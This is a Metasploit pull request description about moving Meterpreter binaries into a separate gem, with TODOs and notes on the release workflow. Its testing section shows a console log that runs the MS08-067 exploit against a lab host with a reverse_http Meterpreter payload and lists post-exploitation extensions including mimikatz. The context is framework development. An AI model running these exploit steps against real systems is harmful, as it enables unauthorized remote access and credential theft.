Switch to the Meterpreter bins gem

This PR switches Metasploit framework over to the [Meterpreter Bins gem](http://rubygems.org/gems/meterpreter_bins) and removes most (but not all) compiled Windows Meterpreter artifacts from the Framework repository. Please **do not land** this PR until I get some solid verification steps together. In the meantime, you're welcome to dream up some reasonable tests. I'll definitely want to have specs available as well.

Below is a very rough sketch of testing continued functionality.  Note how the ext_sniffer DLL is *not* part of the gem, but instead is shipped in `data/meterpreter`. Yet, it is still able to be referred to using `MeterpreterBinaries.path()`. This is thanks to the fall-through logic in [MeterpreterBinaries.path()](https://github.com/rapid7/meterpreter_bins/blob/master/lib/meterpreter_bins.rb#L20), where the `data/meterpreter` directory is checked first, and then the gem directory.

I'm still a little worried about anti-virus eating the gemfile directory, so I suspect there needs to be some more clear error messaging in the event that Meterpreter binaries cannot be found at all.

### TODO:

- [ ] Write some verification steps
- [ ] Write some specs.
- [ ] Write some helpful error handling in the event no Meterpreter binaries can be found.

### What testing should look like

````
msf > irb
[*] Starting IRB shell...

>> MeterpreterBinaries.metasploit_data_dir
=> "/home/todb/git/rapid7/metasploit-framework/data/meterpreter"
>> MeterpreterBinaries.local_dir
=> "/home/todb/.rvm/gems/ruby-1.9.3-p547@metasploit-framework/gems/meterpreter_bins-0.0.6/lib/../meterpreter"
>> MeterpreterBinaries.path('ext_server_kiwi','x64.dll')
=> "/home/todb/.rvm/gems/ruby-1.9.3-p547@metasploit-framework/gems/meterpreter_bins-0.0.6/meterpreter/ext_server_kiwi.x64.dll"
>> MeterpreterBinaries.path('ext_server_sniffer','x64.dll')
=> "/home/todb/git/rapid7/metasploit-framework/data/meterpreter/ext_server_sniffer.x64.dll"
>> 

[*] Processing /home/todb/rc/ms08-067.rc for ERB directives.
resource (/home/todb/rc/ms08-067.rc)> sleep 3
resource (/home/todb/rc/ms08-067.rc)> use exploit/windows/smb/ms08_067_netapi
resource (/home/todb/rc/ms08-067.rc)> set rhost 192.168.145.60
rhost => 192.168.145.60
resource (/home/todb/rc/ms08-067.rc)> set lhost 192.168.145.1
lhost => 192.168.145.1
resource (/home/todb/rc/ms08-067.rc)> set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf exploit(ms08_067_netapi) > exploit

[*] Started HTTP reverse handler on http://0.0.0.0:8080/
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] We could not detect the language pack, defaulting to English
[*] Selected Target: Windows 2003 SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] 192.168.145.60:1209 Request received for /4cMx...
[*] 192.168.145.60:1209 Staging connection for target /4cMx received...
[*] Patched user-agent at offset 663656...
[*] Patched transport at offset 663320...
[*] Patched URL at offset 663384...
[*] Patched Expiration Timeout at offset 664256...
[*] Patched Communication Timeout at offset 664260...
[*] Meterpreter session 1 opened (192.168.145.1:8080 -> 192.168.145.60:1209) at 2014-06-19 18:45:10 -0500
meterpreter > load -l
espia
extapi
incognito
kiwi
lanattacks
mimikatz
priv
sniffer
stdapi
````
It's mainly so you can control when the new binaries hit Metasploit Framework; usually, when someone is monkeying with Meterpreter, there is going to be some compainion code on Framework to make it accessable. So, the workflow would look something like:

  * Make some changes to Meterpreter
  * Compile Metepreter and dropped the changed binaries in your own `data/meterpreter` dir.
  * Make the necessary change to Framework
  * See it all works
  * Ask nicely for a new gem build that bumps the version.
  * PR the Metasploit change and update the `Gemfile` version entry to signal the next version.

If you do it this way, then it becomes obvious from the metasploit-framework pull request which version of the Meterpreter binaries you want, and you don't have to remember commit numbers or anything like that, and also nobody is accidentally pushing incompatible Meterpreter bins to Framework. Basically, indicating the version number signals intent to bring in new binaries.